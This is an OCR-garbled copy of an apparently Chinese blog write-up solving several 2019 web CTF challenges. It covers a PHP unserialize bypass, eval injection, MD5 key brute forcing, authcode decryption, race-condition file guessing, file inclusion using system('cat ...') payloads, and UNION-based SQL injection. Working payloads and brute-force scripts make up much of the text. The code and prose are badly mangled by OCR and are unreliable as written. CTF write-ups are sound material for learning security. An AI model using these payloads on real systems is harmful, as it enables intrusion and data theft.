WEB

c3gQ7fo T 2019-09-02 23:13:14 K Aii o 319 k g

RER: wp

W ASONTE R IS0, 815 CC 4.0 BY-SA FRAUHML, FeBas iy EESCH A BERRIA B .
ASCHEHE: hitpsy/blog.csdn.net/weixin 43741181 /article/details/100231954

FEAL

S wp PR
14 J3C% 0115

B ER

1.6 B Afrctf10/ Hash
T A K Bhahahaft —/MERE, it L EE BRI,

you are 123;if you are not 123, you can get the flag<br><{!—$hash=md5($sign. $key) ;the length of $sign is 8
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http://e105ddee2a824b1e8e05d6c8fbead571c4f4f16ed2d24d7d.changame.ichungiu.com/index.php?
key=123&hash=f9109d5f83921a551cf859f853afe7bb
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<?php

class Demo {
private $file = ’Gu3ss m3 hZh2.php ;
public function  construct($file) {

$this—>file = $§file;
}

function  destruct() {
echo @highlight_file($this—>file, true);
}

function _ wakeup() {
if ($this—>file != ’Gudss_m3_hZh2.php’ ) {
the secret is in the flbg_ls_here. php
$this—>file = ~Gu3ss_m3_hZh2.php ;

}
1
}

if  (isset($ GET[ wvar’])) {
$var = baseb4_decode($_GET[ var’]);
if (preg match(’ /[ec]:\d+:/i’, S8var)) |{
die(’ stop hacking!’);
1 else {
@unserialize ($var) ;
}
} else {
highlight_file("Gu3ss_m3_h2h2. php™) ;
}
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$s = str_replace('0:4', '0:+4',$s);//5GuLEN
$s = str_replace(':1:', ':2:' ,$s);//&idwakeupfi%L
echo base64_encode($s);//f/Gbase644id
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TzorNDoiRGVtbyI6Mjp7czoxMDoiAER1IbW8AZM1sZSI7czoxNjoiZjE1Z18xc190ZXI1LnBocCI7fQ==
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{?php
if (isset($ GET['val’ 1)) {
$val = $ GET['val'];
eval ( $value="" . addslashes($val) . ' 7;");
} else {
die (' hahaha!’) ;
}

7>
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THEESL, A BER 5145, payload:

?val=${eval($_GET][a])}&a=echo 'Is;

Gu3ss m3 h2h2.php True Flag i3 Here 233.php f15g 1s here.php index.php

&g payload,?val=${eval($_GET][a])}&a=echo "cat True_F1ag i3 Here 233.php’;F12) Hiflag.
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® Connection: keep-alive

Content-Length: 16

Content-Type: text/html

Date: Mon, 02 Sep 2019 05:02:47 GMT

hint: ip,Large internal network

X-Cache: bypass

X-Via-J5L: bfae526,-
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192.168.0.0
172.16.0.0
10.0.0.0

iRX%10.0.0.00F, 7EIR [A]H9 23k 4 -Location: ./mdnage.php, 17 Al 75 2] & I

WL L (e S TR
Content-Length: 16
Connection: close
X-Yia-JSL: ff72b00, -
X-Cache: bypass

show me your key

XHREEL key E%, AR, Hpostiife—, Kl

key is ichunqiu®*¥¥ the * is in [a-z0-9

’
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import hashlib

MD5 = "1b4167610ba3f2ac426a68488dbd89be"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
for i in chars:
for j in chars:
for k in chars:
key = "ichunqiu" + i + j + k
hash = hashlib.md5(key.encode()).hexdigest()
if hash == MD5:
print(key)
print(hash)
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function authcode(3string, $operation = 'DECODE’, Skey = '', 3expiry = 0) {
3ckey_length = 4

$key = md3 (Skey ? $key : UC_KEY):
$keva = mdd(substr($key, 0, 16)):
Skeyb = mdd (substr ($key, 16, 16)):
$keyc = $ckey_length ? (Soperation == 'DECODE’ ? substr($string, 0, 3ckey_length)

Scryptkey = Skeva . md3(Skeya . Skeve):
$key_length = strlen($cryptkey) ;

$string = Soperation == ’'DECODE’ ? baseB4 decode (substr ($string, Sckey_length))
$string_length = strlen(8string);
$result = ',

$box = range (0, 255):

frndkey = array():
for ($i = 0: 81 <= 255: 3i++) {

$rndker[$i] = ord(Scryptkey[$i % Skey_lengthl):
1

for ($j = 81 = 0: $1 < 256; $i++) {
§j = (3] + $hox[8i] + Srndkey($il) % 256:
Stmp = Sbox[$il;
$box[$1] = $hox[§i];
$box[§3] = $tmp:

for (§a = §j = 31 = 0; 31 < 3string length; $i++) {

$a = (32 + 1) % 256,

§j = (8 + $box[8al) % 236:

$tmp = Sbox[$al:

$box[3a] = Sbox[8j]:

$box[83] = $tmp:

Sresult .= chriord(3string[§i)) ~ ($box[(§box[8a] + $box[$31) % 2361)):
1

if ($operation == 'DECODE') |

: substr (md3 (microtime()), —S$ckey_length)) :

¢ sprintf (%010d", $expiry ? Sexpiry + time() : O) .

substr(md3 ($string . $keyb), 0, 16) . $string:

if ((substri$result, 0, 10) == 0 || substr(Sresult, 0, 10) - time() > 0) && substr(Sresult, 10, 16) == substr(md3 (substr($result, 26) . Skeyb), 0, 16)) |

return substri$result, 28):
}oelse |

return
i

}oelse {
return Skeye
1

. str_replace(’=", ’", basef4 encode($result));

function authcode($string, Soperation = 'DECODE’, Skey =

a .

", Sexpiry = 0)

BRI TR E AN fkey, 7ENIZA000xx00.phpH IELFAIXHAS, £

echo authcode('d92a0R50+Pg9xZzvcF2RT1IYhmwRsaCjD8BItwoxwprpPXITAI87wrezqOnp15jQDcEQTM/S+BiMKKVFG3MFGI82iNCY
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1

2 function authcode ($string, $operation = *DECODE’, $key ='', 3expiry
3 $ckev_length = 4:

5] cey = mdd($key ? $kev : UC_KEY);

6 = md3 (substr(Skey, 0, 16)):

7 = md5 (substr (Skey, 16, 16)):

ceve = $ckev_length ? (3operation == 'DECODE’ ? suhsth” (§string,

9

10 $cryptkey = $keya . mdd($keya . $keye);
11 $key_length = strlen($cryptkey) ;

12

13 $string = $operation = ’DECODE’ ? baseB4_decode (substr (§string,
14 $string length = strlen($string):

15

16 $result =7 ;

17 $box = range(0, 253);

18

19 $rndkey = arrayv();

20 for ($i = 0; $i <= 255; §i++)
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3.2017iFHF KWK FE time

=0)

0, $ckev_lengt

$ckev_length))

= BRI

flag{c1733e42-2¢c1c-481c-b49a-5b179dde9421}



{?php
header ("content—type:text/html;charset=utf-8") ;
TR R MEPRANEE
setcookie (" token , hello’);
show_source(_FILE );
if ($_COOKIE[ token’ 1=="hello’ ) {
$txt = file get contents(’ flag.php );
$filename = "u/ .md5(mt rand(1l,1000)). . txt ;
file put_contents ($filename, $txt) ;
sleep(10) ;
unlink ($filename) ;
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import requests as rq
import hashlib

import threading
import Queue

url = 'http://78dc361095b9438d83891a0edfa96a689b98ab0184ad4964.ctf.game’
queue = Queue.Queue()

def make_queue():
for i in range(1, 1001):
m = hashlib.md5()
m.update(str(i))
furl = url + '/u/" + m.hexdigest() + ".txt'
queue.put(furl)

def worker():
count=0
while not queue.empty():
count = count + 1
print count
u = queue.get()
result = rq.get(u).text
if '404' not in result:
print result
break
queue.task_done()



def main():
make_queue()
for i in range(50):
t = threading.Thread(target = worker)
t.daemon = True
t.start()
queue.join()

main

if _name__ ==
main()

FR Mk R AR RIEE ...

73 3flag

flag{8b6ffe35-53a2-4f61-9603-bcef43005149}
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<script src="js/[abcmlyx]{2}ctf[0-9]{3}.js"></script>
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import requests
import threading
import Queue

s1 = "abclmyx’

s2 ='012346789'

queue = Queue.Queue()

url = 'http://d371e0545f574fae97d09b1f9b0ba8a6a90b3f6abc1c4427 .ctf.gameljs/'

def make_queue():
foriinst:
forjins1:
for kin s2:
for | in s2:
for min s2:
queue.put(i+j+'ctf'+k+l+m+'js')



def worker():
count=0
while not queue.empty():
fname = queue.get(True, 1)
try:
result = requests.get(url + fname).text
if ‘404" not in result:
with open('flag.t«t', 'w') as f:
f.write(result)
queue.task_done()
except:
queue.put(fname)

def main():
make_queue()
for i in range(490):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
queue.join()

if _name_ ==' main_
main()
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<?php

error reporting(0);
session_start();
require (. /flag. php’ ) ;

if(lisset ($_SESSION[ nums’ 1)) {
0 .

$_SESSION[ nums’ ]

$_SESSION[ time’ ]

$_SESSION[ whoami” ]
1

time();

]

ea ;

if($_SESSION[ time’ J+120<time()) {

session_destroy();

}

$value = S$_REQUEST[ value'];

$str_rand = range(’ a

»

)

$str_rands = $str_rand[mt_rand(0,25)]. $str_rand[mt_rand(0, 25)];

if ($ SESSION[ whoami’ ]1==($valuel0]. Svaluel[l]) && substr(md5($value),5,4)==0) {
$_SESSION[ nums’ J++;

$_SESSION[ whoami’ ]
echo $str rands;

}

if ($_SESSION[ nums’ 1>=10) {

echo $flag;
1

show_source(_FILE );
2>

$str rands;

11 H SESSIONSH [fiwhoamiZ £ /1 2 $ivalue B AHSE ,  + Hmd5() ek Zdk B s (1948 B value ) 55 50 FF 44 5 4140
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| ® 1398bb6ca9524dcdaadbarbasadf19267855fd8838f148fb.changame.ichungiu.com/index.php?value[]=ea voEE e
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me <?php
error_reporting (0) ;
session start();
require (. /flag. php ) ;

if(lisset($_SESSION[ nums’ 1)) {
$_SESSION[ nums'] = 0
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import requests

s = requests.session ()

strs = ['abcdefghijklmnopgrstuvwxyz"']

url =

"http://0b9998c89£8054c61b75dcf6d48d1d164707¢c9299p7£949f4.game.ichungiu.com/?

value[]=ea"

r =s.get(url)



fori in range (10) :

url 1 =
"http://b9998c89f8054c61b75dcf6d48d1d164707¢c929907f949f4 . game.ichungiu.com/?

value[]="+r.text[:2]
r =s.get(url 1)
print(r.url)
if 'flag{' inr.text:
print(r.text)
73 %flag
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FIHBE, KIIEE
<?php
show_source(_FILE );
if (isset ($_REQUEST[ path’'])) {
include ($_REQUEST[ path’]):

telse{
include (" phpinfo. php’ ) ;
}

R Z Hpathff SCHEAAAE RS, A& 20 WERAFAERE, % phpinfo.php3Cff:
f& N\<?php system ('ls');?>

RIFA —/~dle345aae.php,

£ X\<?php system ('cat dle345aae.php');?>

K Hiflag

7.201758 )@/ ARA SR ZE E 2 who are you

FTIF R H R

Sorry. You have no permissions.

PR A A KRB, F12B5FMZ, cookied K I

Bl BBk Cookie S¥ MWW FHi HEHRER
W i=iE Cookie
+ &3 Cookie

role: Zjo10iJ0aHImZyl7
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<!-— ffilename = § POST['filenams']: fdata = § POST['data']; -->Hello admin, now you can upload something you
are easy to forget.</body:>
</html>

feon b, X B Hpostfe A~ |2k
filename=a.php&datal[]="'<?php echo "123";?2>'
R, Vi g
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Hello, 2019

Your phone is 123.

Click on the link and you'll know how many people use the same phone as you.

Check logout

IR

(® 106.75.72.168:3333/check.php B2 e ¥
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There only 2005 people use the same phone as you
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sqlyE A& %1 union select group_concat(schema_name) from information_schema.schemata

0x3120756e696£6e2073656c6563742067726£75705f636£f6e63617428736368656d615f6e616d65

4 1 | >

ZEwebdbl)71 union select group concat (table name) from information schema.tables

where table schema='webdb'

KIuserd, 7B K ¥lUser,Password,id,username,phone
X H )Phone 7 Bt H

K Hiflag

flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}
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